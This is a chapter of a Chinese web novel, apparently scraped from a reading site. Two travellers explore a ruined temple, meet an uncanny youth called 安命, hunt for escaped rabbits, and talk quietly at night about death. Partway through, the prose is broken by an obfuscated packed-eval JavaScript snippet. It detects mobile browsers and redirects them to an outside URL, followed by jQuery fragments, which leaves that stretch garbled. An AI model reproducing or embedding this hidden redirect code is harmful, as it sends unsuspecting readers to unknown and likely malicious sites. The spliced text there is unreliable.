44. 香烛尽

作品:《白荷种植指北

    地府森罗殿。青火幽幽,压抑沉重,针落有声。


    贺年好今个一日不见,并非是去找鬼,而是又被府君召回来。彼时他单手叉腰斜腿,正正站在殿中梨花座台下,面无表情。


    非人而登仙成神的,皆有半人双相,一女相,一男相,可随心切换。


    府君好久不见用了一次男相,身材高挑,面容妖魅,一手支头,崴在座上翘着二郎腿,眯眼往下。


    这副模样依旧贱兮兮,却失去女相那番萌,贺年好看着更来气,扫了几眼又低下头去。


    “小十八司呀。”语调勾人心魄。


    “第一次纯化……快到了啊,看紧了。”祂道。


    *


    小助手先行离去做些善后事务,齐遐接过提灯,两人入了庙。


    荒山,月色稀薄。


    他们摸索来路,从侧方小门进,豁然开朗。此处近大远小,比外面看要大许多。


    入目一棵参天大树,底端枝条上稀稀拉拉挂着红条,已经抽丝掉色,年头不小。


    万籁俱寂下,山林之中掠过鸟叫。


    两人先是进去左右两边的小殿看看,借灯一照,里面空落落,均没有佛像,荒凉得只剩菌霉苔藓。


    这里显然没有和尚、没有人打理。


    乐擎枝断言:“没人。”


    两人出来后,朝中走,石台上,齐遐环视一圈,有一撮香插在大鼎里供着,轻烟升起,逸散灰空。


    齐遐目光落在那捆香上:“不一定。”


    这鸟地方有人才恐怖吧!何况还有可能不是人呢?乐擎枝瞥几眼燃起的香,惴惴不安却坚定道:“走。”


    齐遐应声,伴他跨进前方大殿。


    殿内的灰尘气味苦涩而潮湿,难以言说。


    持灯探去,条条垂帘后,破败的铜制千手佛像高高趺坐莲台,约有四个齐遐高,断几只手臂,缺半瓢脑袋,落灰俯视。昌南一带自古炎热潮湿,铜像已经上绿。


    鬼气森森的。


    穿堂风过,乐擎枝抖抖身子,不知是被吓还是受冷,齐遐戳戳他肩头打趣儿:“不怕吗?这里不会有鬼吧,我好怕喔,敬木大侠可要保护我。”不知道是脑瓜子哪根筋抽抽。


    乐擎枝腹中暗道:也不见你怕我。


    乐擎枝:“贫嘴,绕后边看看去。”语罢,勾起齐遐手臂就往左旁扯着走。


    方行一步……


    “阿弥陀佛。”


    陌生的声音从斜背后传来,大殿空旷,空灵回响。


    二人闻声倏地回头,殿口佛前,冷寂寂杵有一道人影。


    月光从这人背后照过来,黑乎乎,看不清面容。


    齐遐空闲的那只手握去剑柄。


    啊啊啊鬼啊!走路还没声儿,突然冒出来…吓死人啊!


    乐擎枝咽口水,装作镇定自若,死死把住齐遐提灯的那侧手臂,慢慢朝生人这儿走。


    灯光渐近,看清来人。


    瞧这人并未剃度,衣着也非僧人,是个披散头发、身着平民衣裳的少年,比擎枝稍矮些,浅粉发色,深绿眼瞳,看身形模样,约莫十六七岁。


    少年面容平静,眼神澄澈。


    乐擎枝讪讪:“打扰了,敢问您是这里的僧人?”


    少年声音清脆平直,不泛波澜,他点头作礼:“是,或也不是,在下不过一小小信徒,二位施主深夜至此,可是要祭拜?”


    齐遐倒是真的镇定自若,回个点头:“您好,我们途径此地,不为拜佛礼佛,仅一时好奇想参观参观,可以看看么?若有打扰,烦请见谅。”


    少年浅笑:“佛门广大,自然可以,请心怀虔诚。”随即躬身作请。


    俩人依言搁殿内走动,少年紧随其后。


    布满蛛网的褪色梁柱,剥落的壁画,积灰的供桌……


    一圈下来,不过是再普通不过的荒废寺庙,乐擎枝起初以为这里恐怕是什么“养鬼地”,现下只觉得这朴素的少年实在古怪。


    回到殿口,齐遐先行问少年信徒:“小师傅,既然此处有人信佛、奉敬香火,那为何会荒废?佛像蒙尘,庭院荒芜,也不见打理?”


    少年却道:“心中有佛,诚于中而形于外也,莫以色物,莫以形骸。”


    还挺有道理……


    “像这位施主,我看您佛光隐现。”少年忽看向乐擎枝。


    乐擎枝疑惑:“什么?”


    “但同时又有生死交织的‘气’……”


    “很适合献祭。”


    乐擎枝本就没听明白,这下更是给这惊悚的话整得满脸惊恐。


    少年脸上挂起一个似有若无的微笑,一阵穿堂风过,灯火摇晃,帘幡扫动,遮住他面容。


    齐遐拉着乐擎枝往后退一步,耳语:“我们该走了。”


    风停,少年没有说话,微笑望二人。


    乐擎枝给吓木了,动也不动,气氛诡谲。


    “安命——!”


    此刻,一个清甜、带着喘息的声音从外传来,愈发地近。


    少年循声望去,只见高初香身背药篓,磕磕绊绊跳着跑过来,她小脸通红,额角发丝被汗水黏住,裤腿尽是泥。


    “哎哟!还是这里凉快……”她跑进殿内瘫坐,气喘吁吁,转眼又看向齐遐和脸色苍白的乐擎枝。


    “诶?你们怎么跑这来?”


    少年从见到初香的那刻便顿弯下眉目,真切地柔和下来。


    齐遐疑虑:“…你们认识?”


    高初香放下满满一篓草药,坐到门槛上,指指少年:“他?哈哈,是哦!没想到他还在这儿呢!”


    齐遐直愣愣望她。


    高初香笑几声道来:“大概我九岁的时候吧,那时候他来了,是个搁村里流浪的小孩儿,问什么都不知道,磕磕巴巴问话问了老半天,只说自己叫作安命。”


    “以前村里人不待见他、排挤他,没有哪处愿收留他,他就跑到这个没人的破庙来住,我平时来给他送饭,他天天管我当姐,结果没到一年,人就不见了,我也没过几天就随爹娘跑京城做工。”


    齐遐握在剑柄的手松开。


    高初香:“当时大家都以为他寻死去了!”


    “没想到昨夜回来,我再来这破庙时,又看见他在这儿点香,他说找不到地方住,只好回来了。”


    “哎呀!”突然,高初香一拍脑门,惊呼,“都这么晚了!我兔子还没喂呢!几个小家伙到现在都没东西吃,可别饿坏了!”她慌忙背起药篓,一步作两步,火急火燎跑出去,几下便不见踪影。


    殿内,三人哑然。


    乐擎枝长舒口气,向安命道:“既然如此,我们也该走了。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147556|154454||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    安命没吱声,点头作请,转身朝殿后走去,身影消失在佛像后。


    -


    客栈二楼,夜,黑灯瞎火。


    “一一?二二?三三?”


    高初香从卧房出来,心神不定地走在走廊,左顾右盼:“一一?二二?三三?”时而蹲下,时而站起。


    她回来时,见卧房内的笼子门开了,地上一片狼藉,三只兔子全不见了。


    她走到楼梯口,正好瞧见贺年好回来了,他提溜着兔脖子往回走。


    “一一!”


    贺年好方从地府赶回来,他上楼,把兔子提到初香面前:“喏,找它呢吧,大半夜搁下边蹦跶,差点要跑出去。”几分不耐烦。


    高初香欣喜接过一一,紧紧抱入怀中,却更加慌张:“不是,还有!还有两只呢?他们仨都不见了!”


    贺年好:“还有两只?”


    高初香急得眼眶都红了:“一一是最乖的!平常除了吃就是睡觉,窝在一块小地方,但那两只可皮了!肯定又是跑出去了!”她跺脚,马不停蹄地奔出客栈。


    贺年好不放心,追了上去。


    -


    两人回到客栈时,亥时已过。


    乐擎枝洗洗后,拖着一身水汽,沉默地摸进齐遐的房间。


    屋内只点一盏小小油灯,光线昏黄,勉强勾勒出床榻轮廓。


    齐遐在他后头洗漱,目前没有人。乐擎枝想都没想钻进里侧睡去。


    一天下来,他只感觉到恐惧,浓厚的睡意也被驱散,他扯起被子把自己裹紧。


    他闭上眼睛,总是臆想些奇奇怪怪的鬼脸或血腥场面,害得他不敢闭眼。再往床外看看,昏暗中,又总是把正常的桌椅床帘幻视成鬼,吓得自己都不敢动。


    冷汗直冒,反复煎熬。


    直到齐遐吱呀一声推开门,吹熄那盏灯,躺来他身侧,他感触到温热,才放松下去。


    ……


    乐擎枝鬼使神差地侧过身,面朝齐遐,伸出手,小心翼翼往其腰腹探过去。


    “直接摸,别做贼一样。”


    当他的手刚碰到布料,这人便把住他手腕,按进微敞的寝衣。


    温热而坚实的美好触感让乐擎枝又放松几分。


    “喂……”乐擎枝的声音略带沙哑。


    齐遐:“嗯?”回应很轻。


    “你……”你到底对我什么意思?


    乐擎枝还是想问这问,舌尖滚了又滚,却依旧无法宣之于口,唯剩沉沉恐惧萦绕心头。


    游学夜,仙狐,齐遐看不清的面容。


    今天,无牙村,染疫病离去的人们。


    ……他最终竟脱口而出一个更加沉重、更加空茫的问题。


    “……你会死吗?”


    乐擎枝声音更低。


    “或者说…你怕死吗?”


    “你有没有想过,或许,或许某一天……”


    他没再说下去。或许某一天,温热的躯体也会变得冰冷僵硬。


    黑暗中齐遐的呼吸凝滞片刻,过了几息,他才回答,没有敷衍。


    “怎么没想过。”


    说完这句,齐遐顿了顿,似乎觉得这个话题太过沉重,又或许不愿在此时深究,淡淡道:“但徒增悲伤的事,也没必要去想。”


    “睡吧。”